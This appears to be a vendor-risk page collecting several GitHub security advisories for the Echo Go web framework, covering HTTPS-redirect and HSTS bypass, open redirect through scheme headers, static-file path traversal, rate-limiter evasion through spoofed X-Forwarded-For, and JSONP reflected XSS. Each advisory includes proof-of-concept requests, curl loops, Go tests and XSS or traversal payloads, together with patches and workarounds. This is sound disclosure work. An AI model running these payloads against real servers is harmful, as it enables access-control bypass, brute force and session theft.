Where
-Infinity
0

Vendor Risk Score

See how labstack compares to other vendors in security performance

View Risk Score →
Severity
4.7
AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

The c.Scheme() method in Echo (context.go:162-181) trusts the X-Forwarded-Proto, X-Forwarded-Protocol, and X-Url-Scheme request headers without validating that the value is http or https. The WWWRedirect() and NonWWWRedirect() middlewares use this unsanitized scheme to construct redirect URLs, allowing an attacker to inject arbitrary URI schemes into the Location response header.

Affected Components

- context.go:162-181 - Scheme() method returns attacker-controlled value verbatim - middleware/redirect.go:172-184 - redirectWWW/redirectNonWWW use unsanitized scheme

Proof of Concept

GET /path HTTP/1.1 Host: example.com X-Forwarded-Proto: javascript

Response: HTTP/1.1 301 Moved Permanently Location: javascript://www.example.com/path

Confirmed injectable schemes: javascript, data, vbscript, file, ftp, ssh, telnet, gopher.

Only WWWRedirect() and NonWWWRedirect() (and WithConfig variants) are affected. HTTPSRedirect, HTTPSWWWRedirect, HTTPSNonWWWRedirect are NOT affected (they hardcode https://).

Impact

- Open redirect to arbitrary scheme URLs when app is not behind a proxy that strips X-Forwarded-Proto - Cache poisoning when behind a CDN that caches redirect responses keyed by path - file:// scheme injection could trigger file access in some browser configurations

Suggested Fix

Whitelist scheme in c.Scheme() to only return http or https:

go func (c Context) Scheme() string { if c.IsTLS() { return "https" } if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != "" { scheme = strings.ToLower(strings.TrimSpace(scheme)) if scheme == "https" { return "https" } } return "http" }

Disclosure

Source code review, manually verified with actual HTTP server. Tested on Echo v5.0.4 (latest master).

Patches

Fixed in github.com/labstack/echo/v5 v5.1.1 and github.com/labstack/echo/v4 v4.15.2. Context.Scheme() now accepts only http, https, ws or wss from the X-Forwarded-Proto, X-Forwarded-Protocol and X-Url-Scheme headers, and falls back to http for any other value (#2953).

Workarounds

Upgrade to a patched version. If you cannot upgrade, have your edge proxy overwrite or remove the X-Forwarded-Proto, X-Forwarded-Protocol and X-Url-Scheme request headers.

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N

Description

Context.Scheme() unconditionally trusts four client-controlled HTTP headers to determine the request scheme, with no mechanism to configure trusted sources. This allows a remote unauthenticated attacker to bypass HTTPS redirect enforcement and suppress HSTS headers.

The trusted headers (checked in this order of precedence): 1. X-Forwarded-Proto 2. X-Forwarded-Protocol 3. X-Forwarded-Ssl 4. X-Url-Scheme

Threat model

Scenario A — Directly exposed application (vulnerable by default): The Echo application listens on HTTP and is reachable directly by clients (no L7 proxy in front), or an attacker can bypass the proxy and reach the backend directly. In this case, the attacker has full control over all request headers. Sending X-Forwarded-Proto: https defeats the HTTPSRedirect middleware entirely — traffic stays on plaintext HTTP, enabling man-in-the-middle attacks.

This is the primary scenario. The application is vulnerable by default with no misconfiguration required — simply using e.Pre(middleware.HTTPSRedirect()) as documented is sufficient.

Scenario B — Behind L7 proxy with header sanitization (reduced risk): If the application is strictly behind a correctly configured L7 proxy that always overwrites X-Forwarded-Proto and there is no direct access to the backend, the practical risk is lower. However, this relies on perimeter controls external to the framework, not on the framework itself. As Echo's own IP-extraction documentation states: "you must not trust HTTP headers unconditionally."

Root cause

context.go, lines 161–181:

go func (c Context) Scheme() string { if c.IsTLS() { return "https" } if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != "" { return scheme } if scheme := c.request.Header.Get(HeaderXForwardedProtocol); scheme != "" { return scheme } if ssl := c.request.Header.Get(HeaderXForwardedSsl); ssl == "on" { return "https" } if scheme := c.request.Header.Get(HeaderXUrlScheme); scheme != "" { return scheme } return "http" }

Two additional issues with this implementation:

1. No value validation. Scheme() returns any arbitrary string from the header, not just "http" or "https". This breaks the documented contract ("returns the HTTP protocol scheme, http or https") and causes unexpected behavior in middleware that uses the return value to construct URLs (e.g., WWWRedirect builds scheme + "://www." + host + uri).

2. Consumed by security-critical middleware. The return value is used directly by redirect middleware (middleware/redirect.go:136) and secure middleware (middleware/secure.go:125) for security enforcement decisions.

Affected components

| Component | File | Line(s) | Impact | |-----------|------|---------|--------| | Context.Scheme() | context.go | 161–181 | Returns attacker-controlled scheme | | HTTPSRedirect | middleware/redirect.go | 147–151 | HTTPS enforcement bypassed | | HTTPSWWWRedirect | middleware/redirect.go | 154–161 | HTTPS enforcement bypassed | | HTTPSNonWWWRedirect | middleware/redirect.go | 163–170 | HTTPS enforcement bypassed | | WWWRedirect | middleware/redirect.go | 172–177 | URL constructed with arbitrary scheme | | NonWWWRedirect | middleware/redirect.go | 179–184 | URL constructed with arbitrary scheme | | Secure middleware (HSTS) | middleware/secure.go | 125 | HSTS header suppressed |

This is an unsafe-by-default API surface, not just misconfiguration

This behavior is not accidental — it is codified in the project's own test suite. For example, middleware/redirecttest.go (lines 29–34) explicitly asserts that X-Forwarded-Proto: https on an HTTP request results in 200 OK (no redirect):

go { whenHost: "labstack.com", whenHeader: map[string][]string{echo.HeaderXForwardedProto: {"https"}}, expectLocation: "", expectStatusCode: http.StatusOK, },

Similarly, middleware/securetest.go (lines 42–53) and contexttest.go (lines 1104–1111) assert that scheme is derived from the header.

The problem is not that the framework can use forwarded headers — that is legitimate behind a trusted proxy. The problem is that there is no mechanism to control whether this trust is appropriate, unlike the existing IP header trust model. Scheme() always trusts the headers, making any middleware that depends on it unsafe-by-default.

Inconsistency with existing trust model

Echo already recognizes this class of header-trust vulnerability for IP addresses. The IPExtractor mechanism with TrustOption (TrustLoopback, TrustPrivateNet, TrustLinkLocal, TrustIPRange) was introduced specifically because:

"you must not trust HTTP headers unconditionally. Otherwise, you might give someone a chance of deceiving you. A security risk!" — ip.go, lines 20–21

"If you put no proxy (e.g., directly facing the internet), all you need to (and have to) see is IP address from network layer. Any HTTP header is untrustable because the clients have full control what headers to be set." — ip.go, lines 36–38

No equivalent mechanism exists for scheme detection. Scheme() unconditionally trusts all four forwarded headers with no configuration, opt-in, or documentation warning.

Note on proxies and the "3 additional headers"

A correctly configured nginx proxysetheader X-Forwarded-Proto $scheme; overwrites X-Forwarded-Proto with the actual incoming scheme. When a proxy does this, X-Forwarded-Proto is trustworthy and the three fallback headers (X-Forwarded-Protocol, X-Forwarded-Ssl, X-Url-Scheme) are never reached because X-Forwarded-Proto takes precedence in Scheme().

The three additional headers become real attack vectors specifically when: - The proxy does not set X-Forwarded-Proto at all (common in default proxy configs), or - The application is directly exposed (Scenario A above).

In such cases, an attacker can bypass via any of the four headers. The main vulnerability (HTTPS redirect bypass via X-Forwarded-Proto on a directly exposed app) does not depend on the additional headers.

Impact

HTTPS downgrade / MITM: An attacker who can reach the Echo HTTP endpoint directly can prevent HTTPS redirection, keeping client traffic on plaintext HTTP and enabling man-in-the-middle attacks.

HSTS suppression: Behind a TLS-terminating proxy, spoofing X-Forwarded-Proto: http prevents the Strict-Transport-Security header from being sent. When the response ultimately reaches the client over HTTPS (via the proxy), the missing HSTS header weakens browser-side HTTPS enforcement. Note: browsers ignore HSTS received over plain HTTP, so the practical risk is specifically in the suppression scenario behind a TLS-terminating proxy, not in injecting HSTS on HTTP.

URL construction with arbitrary scheme: WWWRedirect and NonWWWRedirect use c.Scheme() to build redirect URLs (scheme + "://www." + host + uri). An attacker can inject arbitrary strings (e.g., javascript:, data:) as the scheme component of redirect URLs.

Proof of Concept

Tested on Echo v5.0.4 (commit fa5311b, 2026-02-15).

PoC 1: HTTPS Redirect Bypass (Go test)

go package echotest

import ( "net/http" "net/http/httptest" "testing"

"github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" )

func TestHTTPSRedirectBypass(t testing.T) { e := echo.New() e.Pre(middleware.HTTPSRedirect()) e.GET("/", func(c echo.Context) error { return c.String(http.StatusOK, "served over: "+c.Scheme()) })

// Normal HTTP → should redirect req := httptest.NewRequest(http.MethodGet, "/", nil) rec := httptest.NewRecorder() e.ServeHTTP(rec, req) if rec.Code != http.StatusMovedPermanently { t.Fatalf("expected 301, got %d", rec.Code) } t.Logf("Normal HTTP → %d (redirect to %s)", rec.Code, rec.Header().Get("Location"))

// Attack: all 4 headers bypass the redirect headers := map[string]string{ "X-Forwarded-Proto": "https", "X-Forwarded-Protocol": "https", "X-Forwarded-Ssl": "on", "X-Url-Scheme": "https", } for name, value := range headers { req := httptest.NewRequest(http.MethodGet, "/", nil) req.Header.Set(name, value) rec := httptest.NewRecorder() e.ServeHTTP(rec, req) if rec.Code == http.StatusOK { t.Errorf("BYPASS via %s: %s → %d (no redirect!)", name, value, rec.Code) } } }

PoC 2: curl examples (easiest to reproduce)

Start a minimal Echo server:

go package main

import ( "net/http" "github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" )

func main() { e := echo.New() e.Pre(middleware.HTTPSRedirect()) e.GET("/", func(c echo.Context) error { return c.String(http.StatusOK, "Hello on "+c.Scheme()) }) e.Start(":8080") }

Then:

bash Normal HTTP → 301 redirect (expected) $ curl -I http://localhost:8080/ HTTP/1.1 301 Moved Permanently Location: https://localhost:8080/

Attack: bypass via X-Forwarded-Proto $ curl -H "X-Forwarded-Proto: https" http://localhost:8080/ Hello on https

Attack: bypass via X-Forwarded-Protocol $ curl -H "X-Forwarded-Protocol: https" http://localhost:8080/ Hello on https

Attack: bypass via X-Forwarded-Ssl $ curl -H "X-Forwarded-Ssl: on" http://localhost:8080/ Hello on https

Attack: bypass via X-Url-Scheme $ curl -H "X-Url-Scheme: https" http://localhost:8080/ Hello on https

PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)

go func TestArbitrarySchemeInRedirect(t testing.T) { e := echo.New() e.Pre(middleware.WWWRedirect()) e.GET("/", func(c echo.Context) error { return c.String(http.StatusOK, "ok") })

req := httptest.NewRequest(http.MethodGet, "/", nil) req.Host = "example.com" req.Header.Set("X-Forwarded-Proto", "javascript") rec := httptest.NewRecorder() e.ServeHTTP(rec, req)

// Redirect Location uses the spoofed scheme loc := rec.Header().Get("Location") // loc == "javascript://www.example.com/" — violates http/https contract t.Logf("Status: %d, Location: %s", rec.Code, loc) }

PoC 4: HSTS Suppression

go func TestHSTSSuppression(t testing.T) { e := echo.New() e.Use(middleware.SecureWithConfig(middleware.SecureConfig{HSTSMaxAge: 31536000})) e.GET("/", func(c echo.Context) error { return c.String(http.StatusOK, "ok") })

// Legitimate: proxied HTTPS should have HSTS req := httptest.NewRequest(http.MethodGet, "/", nil) req.Header.Set("X-Forwarded-Proto", "https") rec := httptest.NewRecorder() e.ServeHTTP(rec, req) if h := rec.Header().Get("Strict-Transport-Security"); h == "" { t.Fatal("HSTS missing when it should be present") }

// Attack: suppress HSTS by spoofing "http" // In production: app behind TLS-terminating proxy, proxy delivers response // to client over HTTPS, but HSTS header is absent due to spoofed header req2 := httptest.NewRequest(http.MethodGet, "/", nil) req2.Header.Set("X-Forwarded-Proto", "http") rec2 := httptest.NewRecorder() e.ServeHTTP(rec2, req2) if h := rec2.Header().Get("Strict-Transport-Security"); h == "" { t.Error("VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http") } }

Test output (all attacks succeed)

=== RUN TestHTTPSRedirectBypass Normal HTTP → 301 (redirect to https://example.com/) BYPASS via X-Forwarded-Proto: https → 200 (no redirect!) BYPASS via X-Forwarded-Protocol: https → 200 (no redirect!) BYPASS via X-Forwarded-Ssl: on → 200 (no redirect!) BYPASS via X-Url-Scheme: https → 200 (no redirect!)

=== RUN TestArbitrarySchemeInRedirect Status: 301, Location: javascript://www.example.com/

=== RUN TestHSTSSuppression VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http

Precedent CVEs

- CVE-2018-1193 — Cloud Foundry GoRouter: unverified X-Forwarded-Proto header trusted for scheme, enabling HTTPS enforcement bypass. Fixed by adding sanitizeforwardedproto option. - CVE-2025-41235 — Spring Cloud Gateway: trusting forwarded headers without explicit proxy configuration, enabling HTTPS redirect bypass. Fixed by requiring trusted proxy configuration.

Suggested fix

Option A: SchemeExtractor (recommended, backward-compatible with opt-in)

Add a SchemeExtractor mechanism analogous to the existing IPExtractor, where the extractor decides whether to trust forwarded headers based on RemoteAddr or trusted proxy ranges:

go type SchemeExtractor func(req http.Request) string

// ExtractSchemeDirect ignores all forwarded headers (secure default) func ExtractSchemeDirect() SchemeExtractor { ... }

// ExtractSchemeFromXFFHeader trusts X-Forwarded-Proto from trusted sources func ExtractSchemeFromXFFHeader(options ...TrustOption) SchemeExtractor { ... }

Usage:

go // Secure: directly exposed, ignore headers e.SchemeExtractor = echo.ExtractSchemeDirect()

// Behind trusted proxy e.SchemeExtractor = echo.ExtractSchemeFromXFFHeader( echo.TrustIPRange(proxySubnet), )

The default should be secure. For backward compatibility, a migration period with deprecation warnings for the legacy behavior may be appropriate.

Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)

Scheme() should validate that the returned value is "http" or "https", rejecting arbitrary strings. This prevents the "arbitrary scheme in redirect URL" issue but does not address the core HTTPS redirect bypass (because "https" is a valid value that the attacker injects).

Both options should be applied together.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.Scheme() now uses the X-Forwarded-Proto, X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme headers only when the request comes directly from a loopback, link-local or private network address or a unix socket. When X-Forwarded-Proto is present, only its last value is used. The new Echo#SchemeExtractor selects the strategy (ExtractSchemeFromHeaders, ExtractSchemeDirect, LegacySchemeExtractor). The Secure middleware sets HSTS from Context.Scheme(), and the Proxy middleware always sets X-Forwarded-Proto and removes the other scheme headers.

Workarounds

If a proxy or load balancer connects to your application from a public address, trust its address ranges after upgrading, for example e.SchemeExtractor = echo.ExtractSchemeFromHeaders(echo.TrustIPRange(proxyRange)); otherwise HTTPSRedirect redirects in a loop. If you cannot upgrade, make sure every request passes through a proxy that overwrites X-Forwarded-Proto and removes X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme, and that the application cannot be reached directly.

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
Path Traversal
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

Commit a9ede66a (PR #3006, issue #2599) silently fixed a path traversal vulnerability in the Echo web framework's static file middleware.

Vulnerability

The static middleware double-unescaped URL paths. Go's net/http already decodes Request.URL.Path, but middleware/static.go unconditionally called url.PathUnescape() again:

go // BEFORE (vulnerable) pathUnescape := true

This reassembled path traversal sequences from double-encoded input. An attacker could send GET /%2e%2e%2fsecret.txt or /..%252fsecret.txt and the double-unescape would produce ../secret.txt.

Fix go // AFTER (fixed) pathUnescape := false

The commit's test TestStaticpercentEncodedTraversalIsBlocked explicitly verifies traversal vectors are blocked.

Impact Arbitrary file read from server filesystem via percent-encoded path traversal.

References - Fix: https://github.com/labstack/echo/commit/a9ede66a - Issue: https://github.com/labstack/echo/issues/2599 - PR: https://github.com/labstack/echo/pull/3006

Patches

Fixed in github.com/labstack/echo/v5 v5.2.0 and github.com/labstack/echo/v4 v4.15.3, where the Static middleware stopped unescaping an already decoded path. Maintainer analysis: reading files outside the configured root could not be reproduced; the confirmed impact was that a double-encoded slash (%252F) could reach a file under a guarded route when the Static middleware is registered globally. Upgrade to v5.4.0 / v4.16.0 or later, which also includes related fixes for encoded and dot-segment paths.

Workarounds

Keep files that need protection outside the Static middleware's root directory.

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
Path Traversal
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

Echo v5.2.0 contains a bypass of the fix for GHSA-vfp3-v2gw-7wfq. The fix rejects encoded path separators such as %2F and %5C before static file path unescaping, but two traversal forms still bypass route-level middleware protections for static files.

The primary bypass uses encoded dot-dot segments. A request such as /public/%2E%2E/admin/secret.txt passes the encoded-separator guard, is unescaped to public/../admin/secret.txt, then path.Clean resolves it to admin/secret.txt. If /admin/ is protected by middleware but the static filesystem is mounted at /, the protected file is returned through the public static route.

A second bypass exists when UseEscapedPathForMatching=true. In that mode, the router normalizes encoded separators before the static handler checks the wildcard. The handler receives a decoded wildcard with no % characters, so the encoded-separator guard does not run on the original encoded path.

Impact

An unauthenticated attacker can read files that an application intended to protect with route-level middleware, when those files are also reachable through a static filesystem mount after path normalization.

The high-severity variant works with the default router configuration and requires only encoded dot-dot path segments. The direct protected route returns 403, while the public static route returns the protected file content.

The UseEscapedPathForMatching=true variant is lower severity because it requires a non-default router configuration.

Affected versions

Tested vulnerable:

- github.com/labstack/echo/v5 v5.2.0 - Current master at 5786024ea4d85c01784796e8aa7aac53e007b39b

No patched version is currently known.

Policy and version checks

GitHub Private Vulnerability Reporting is enabled for labstack/echo. The repository has a root SECURITY.md and accepts security reports through GitHub Security Advisories.

The vulnerable code was revalidated on both current master and the latest release tag:

- Current master: 5786024ea4d85c01784796e8aa7aac53e007b39b - Latest release: v5.2.0, published June 14 2026 - Package: github.com/labstack/echo/v5

The same focused Go tests pass on the checked out v5.2.0 / master commit, proving the bypass remains present in the latest released version and latest main branch at the time of reporting.

Reproduction

The following application shape reproduces the high-severity bypass:

go e := echo.New()

g := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc { return func(c echo.Context) error { return echo.NewHTTPError(http.StatusForbidden) } }) g.GET("/", handler)

e.StaticFS("/", fsysWithAdminSecret)

Control request:

http GET /admin/secret.txt

Observed result:

text 403 Forbidden

Bypass request:

http GET /public/%2E%2E/admin/secret.txt

Observed result:

text 200 OK TOP-SECRET

For the non-default router variant:

go e := echo.New() e.router = echo.NewRouter(echo.RouterConfig{ UseEscapedPathForMatching: true, })

g := e.Group("/admin", authMiddlewareReturning403) g.GET("/", handler)

e.StaticFS("/", fsysWithAdminSecret)

Bypass request:

http GET /public%2F..%2Fadmin%2Fsecret.txt

Observed result:

text 200 OK TOP-SECRET

Proof of concept evidence

I added focused tests against the current Echo codebase. The tests exercise both StaticDirectoryHandler and the static middleware path.

Command:

bash go test -run TestHostile -v ./...

Observed result:

text === RUN TestHostileStaticDirectoryHandlerEncodedSeparatorsBlocked --- PASS: TestHostileStaticDirectoryHandlerEncodedSeparatorsBlocked (0.00s) === RUN TestHostileStaticDirectoryHandlerEncodedDotDotBypass --- PASS: TestHostileStaticDirectoryHandlerEncodedDotDotBypass (0.00s) === RUN TestHostileUseEscapedPathForMatchingBypass --- PASS: TestHostileUseEscapedPathForMatchingBypass (0.00s) PASS ok github.com/labstack/echo/v5 0.013s === RUN TestHostileStaticMiddlewareEncodedSeparatorsBlocked --- PASS: TestHostileStaticMiddlewareEncodedSeparatorsBlocked (0.01s) === RUN TestHostileStaticMiddlewareEncodedDotDotBypass --- PASS: TestHostileStaticMiddlewareEncodedDotDotBypass (0.00s) === RUN TestHostileStaticMiddlewareDisablePathUnescaping --- PASS: TestHostileStaticMiddlewareDisablePathUnescaping (0.00s) PASS ok github.com/labstack/echo/v5/middleware 0.012s

The control tests also confirm that the new fix blocks encoded separators such as %2F, %5C, double-encoded slash values, null bytes, and overlong slash encodings.

Root cause

The fix for GHSA-vfp3 uses a denylist-style guard that checks for encoded path separators before unescaping the static wildcard. This blocks %2F and %5C, but does not block encoded traversal segments such as %2E%2E.

The vulnerable flow is:

1. The static route wildcard accepts public/%2E%2E/admin/secret.txt. 2. The encoded-separator guard sees no %2F or %5C and allows the request. 3. The handler unescapes the wildcard to public/../admin/secret.txt. 4. path.Clean resolves it to admin/secret.txt. 5. The file is served through the public static route instead of the protected /admin/ route.

For UseEscapedPathForMatching=true, the router decodes the path before the static handler sees the wildcard, so the handler cannot detect that encoded separators were used in the original request.

Remediation

Do not rely only on detecting encoded separators. Reject encoded traversal sequences before unescaping, and reject normalized wildcard values that cross route or static mount boundaries.

Possible fixes:

1. Extend the pre-unescape guard to reject encoded dot segments such as %2E and %2E%2E in path components. 2. After unescaping, reject any wildcard where cleaning changes the path in a way that removes . or .. components. 3. For UseEscapedPathForMatching=true, run the static-file guard against the original escaped request path before router normalization, or preserve metadata that the matched wildcard came from encoded separators.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The Static middleware and StaticDirectoryHandler (used by Echo.Static, Echo.StaticFS, Group.Static and Group.StaticFS) no longer serve paths with a ., .. or empty segment, including after path unescaping. The encoded variant of the first vector (/public/%2E%2E/admin/secret.txt) was already fixed in v5.2.1 and v4.15.4 (GHSA-vfp3-v2gw-7wfq).

Workarounds

Put a reverse proxy in front of the application that normalizes request paths (removes dot segments and merges slashes), or keep protected files outside the served directory.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

When echo.New() is used without explicitly setting Echo#IPExtractor, the RealIP() method falls back to reading the client-supplied X-Forwarded-For (or X-Real-IP) header without any proxy-origin validation. The default RateLimiter() middleware derives its per-client identifier from ctx.RealIP(), so an attacker can rotate arbitrary values in the X-Forwarded-For header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely.

Affected Component

- context.go — (Context).RealIP() (lines 186–208), legacy fallback branch (lines 190–200) - middleware/ratelimiter.go — DefaultRateLimiterConfig.IdentifierExtractor (lines 46–58); RateLimiter() (lines 71–76) - echo.go — New() (lines 326–343), IPExtractor left nil by default

Description

RealIP() unconditionally trusts X-Forwarded-For when IPExtractor is unset

Context.RealIP() (context.go:186-208) first checks c.echo.IPExtractor. When this field is nil (the default for echo.New()), it falls through to legacy behavior and returns the first IP from the X-Forwarded-For header — the position an attacker has full control over:

go // context.go:186-200 func (c Context) RealIP() string { if c.echo != nil && c.echo.IPExtractor != nil { return c.echo.IPExtractor(c.request) } // Fall back to legacy behavior if ip := c.request.Header.Get(HeaderXForwardedFor); ip != "" { i := strings.IndexAny(ip, ",") if i > 0 { xffip := strings.TrimSpace(ip[:i]) xffip = strings.TrimPrefix(xffip, "[") xffip = strings.TrimSuffix(xffip, "]") return xffip // ← attacker-controlled first IP } return ip } if ip := c.request.Header.Get(HeaderXRealIP); ip != "" { ... return ip // ← also attacker-controlled } ra, , := net.SplitHostPort(c.request.RemoteAddr) return ra }

Rate limiter default identifier extractor calls RealIP() unconditionally

DefaultRateLimiterConfig (ratelimiter.go:46-58) sets the identifier extractor to ctx.RealIP() with no guard for whether a safe IPExtractor is configured:

go // ratelimiter.go:46-58 var DefaultRateLimiterConfig = RateLimiterConfig{ Skipper: DefaultSkipper, IdentifierExtractor: func(ctx echo.Context) (string, error) { id := ctx.RealIP() // ← reads attacker-controlled header return id, nil }, ... }

RateLimiter(store) (ratelimiter.go:71-76) copies DefaultRateLimiterConfig directly:

go // ratelimiter.go:71-76 func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc { config := DefaultRateLimiterConfig config.Store = store return RateLimiterWithConfig(config) }

The result is that the most common usage pattern — e.GET("/path", h, middleware.RateLimiter(store)) — produces a rate limiter whose per-client identifier is fully controlled by the requester.

Framework acknowledges the issue for IP extraction but the rate limiter carries no warning

ip.go:27 explicitly states the default is insecure:

"Note: if you don't set Echo#IPExtractor explicitly, Echo fallback to legacy behavior, which is not a good choice."

And ip.go:117-119:

"In default behavior, Echo sees all of first XFF header, X-Real-IP header and IP from network layer. As you might already notice, after reading this article, this is not good. Sole reason this is default is just backward compatibility."

The IPExtractor mechanism (ExtractIPDirect(), ExtractIPFromXFFHeader(), ExtractIPFromRealIPHeader()) in ip.go exists precisely to close this gap. However, the RateLimiter() function and DefaultRateLimiterConfig have no corresponding warning and make no attempt to detect or flag that IPExtractor is unset, leaving operators who follow the standard rate limiter example silently exposed.

The test TestRateLimiterWithConfigdefaultConfig (ratelimitertest.go:181-226) itself drives the rate limiter by setting X-Real-IP directly on the test request — demonstrating that the identifier is freely injectable without comment or mitigation.

Full execution chain

1. Server starts with echo.New() (no IPExtractor set) and e.GET("/limited", h, middleware.RateLimiter(store)) 2. Attacker sends GET /limited with header X-Forwarded-For: 1.2.3.4 — rate bucket for 1.2.3.4 consumed 3. Attacker sends GET /limited again with X-Forwarded-For: 1.2.3.4 — second token consumed; if burst is 1, next request would be 429 4. Attacker sends GET /limited with X-Forwarded-For: 5.6.7.8 — new bucket created for 5.6.7.8, 200 OK returned 5. Attacker repeats step 4 with arbitrary IPs — rate limit never triggers; unlimited requests served

Proof of Concept

go package main

import ( "net/http" echo "github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" )

func main() { e := echo.New() // NOTE: IPExtractor deliberately NOT set — this is the default store := middleware.NewRateLimiterMemoryStore(1) e.GET("/limited", func(c echo.Context) error { return c.String(http.StatusOK, "ok") }, middleware.RateLimiter(store)) e.Logger.Fatal(e.Start(":1324")) }

bash First request with IP 1.1.1.1 — consumes burst token curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited HTTP/1.1 200 OK

Second request with same IP — rate limited curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited HTTP/1.1 429 Too Many Requests

Third request with DIFFERENT spoofed IP — bypass: new bucket, 200 OK curl -i -H 'X-Forwarded-For: 2.2.2.2' http://127.0.0.1:1324/limited HTTP/1.1 200 OK

Repeat indefinitely with rotating IPs — rate limit never triggers for i in $(seq 1 100); do curl -s -o /dev/null -w "%{httpcode}\n" -H "X-Forwarded-For: 10.0.0.$i" http://127.0.0.1:1324/limited done 200 200 200 ... (all 200, never 429)

Impact

- Attackers can make unlimited requests to any endpoint protected by middleware.RateLimiter() using the default configuration by rotating the X-Forwarded-For header - Brute-force attacks against login, password reset, 2FA, and similar authentication endpoints are unthrottled - API abuse and credential stuffing are possible at arbitrary throughput - Any per-IP security control that relies on ctx.RealIP() with default configuration (access logging, geo-blocking, audit trails) is equally undermined

Recommended Remediation

Option 1: Require explicit IPExtractor configuration in RateLimiter() (preferred)

The RateLimiter() convenience function should detect when IPExtractor is not configured and either panic with a clear message or fall back to ExtractIPDirect() (direct-connection IP only):

go // ratelimiter.go — illustrative change var DefaultRateLimiterConfig = RateLimiterConfig{ Skipper: DefaultSkipper, IdentifierExtractor: func(ctx echo.Context) (string, error) { if ctx.Echo().IPExtractor == nil { // Fall back to direct TCP peer address — safe for non-proxied deployments host, , err := net.SplitHostPort(ctx.Request().RemoteAddr) if err != nil { return ctx.Request().RemoteAddr, nil } return host, nil } return ctx.RealIP(), nil }, ... }

Option 2: Document and warn in RateLimiter() godoc

At minimum, add a prominent warning to the RateLimiter() and DefaultRateLimiterConfig documentation directing users to configure Echo#IPExtractor before using IP-based rate limiting, mirroring the guidance already present in ip.go.

go // RateLimiter returns a rate limiting middleware. // // SECURITY: The default IdentifierExtractor uses ctx.RealIP(), which reads // X-Forwarded-For / X-Real-IP headers. Without setting Echo#IPExtractor, // these headers are fully client-controlled and can be spoofed to bypass // rate limiting. Set e.IPExtractor = echo.ExtractIPDirect() (no proxy) or // echo.ExtractIPFromXFFHeader() (trusted proxy) before using this middleware. // See https://echo.labstack.com/guide/ip-address for details. func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc {

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Patches

Fixed in github.com/labstack/echo/v5 v5.1.0: without Echo#IPExtractor, Context.RealIP() returns the address of the direct peer; the previous behavior is available as LegacyIPExtractor.

github.com/labstack/echo/v4 keeps its default for compatibility.

Workarounds

Configure Echo#IPExtractor for your deployment (echo.ExtractIPDirect() without a proxy, echo.ExtractIPFromXFFHeader() behind proxies, with TrustIPRange for proxies on public addresses), or set RateLimiterConfig.IdentifierExtractor to an identifier that clients cannot choose.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

The Context.JSONP, Context.JSONPBlob, and internal jsonPBlob helper in context.go directly concatenate the caller-supplied callback parameter into a JavaScript response without any validation, escaping, or allow-listing.

This creates a high-impact reflected XSS that can be triggered by any route passing attacker-controlled data (query string, form, header, path param, etc.) into the callback.

Present in current master and v5.1.0 (latest release).

Vulnerable Code (verbatim)

go func (c Context) jsonPBlob(code int, callback string, i any) (err error) { c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8) c.response.WriteHeader(code) if , err = c.response.Write([]byte(callback + "(")); err != nil { return } if err = c.echo.JSONSerializer.Serialize(c, i, ""); err != nil { return } if , err = c.response.Write([]byte(");")); err != nil { return } return }

func (c Context) JSONP(code int, callback string, i any) (err error) { return c.jsonPBlob(code, callback, i) }

func (c Context) JSONPBlob(code int, callback string, b []byte) (err error) { c.writeContentType(MIMEApplicationJavaScriptCharsetUTF8) c.response.WriteHeader(code) if , err = c.response.Write([]byte(callback + "(")); err != nil { return } if , err = c.response.Write(b); err != nil { return } , err = c.response.Write([]byte(");")) return } No sanitization is performed on the callback string.

Exploit (one-request repro) Any route using the official pattern is vulnerable: Goe.GET("/api", func(c echo.Context) error { return c.JSONP(200, c.QueryParam("callback"), map[string]string{"status": "ok"}) }) Attacker request: GET /api?callback=alert(document.domain)%2f%2f HTTP/1.1 Host: target.com Server response: Content-Type: application/javascript; charset=utf-8

alert(document.domain)//({"status":"ok"}); → Immediate arbitrary JavaScript execution (full reflected XSS). Impact

- Session hijacking, cookie theft, account takeover, keylogging, defacement. - Works even with strict CSP (response is served as application/javascript).

Affected Versions

- All versions ≤ v5.1.0 (including current master)

Workarounds Manually sanitize the callback before calling JSONP/JSONPBlob: Gofunc safeCallback(cb string) string { if matched, := regexp.MatchString(^[a-zA-Z0-9.\[\]]+$, cb); !matched { return "callback" } return cb } Or migrate away from JSONP entirely (use CORS + application/json). References

- https://github.com/labstack/echo/blob/master/context.go - https://echo.labstack.com/docs/cookbook/jsonp

Patches

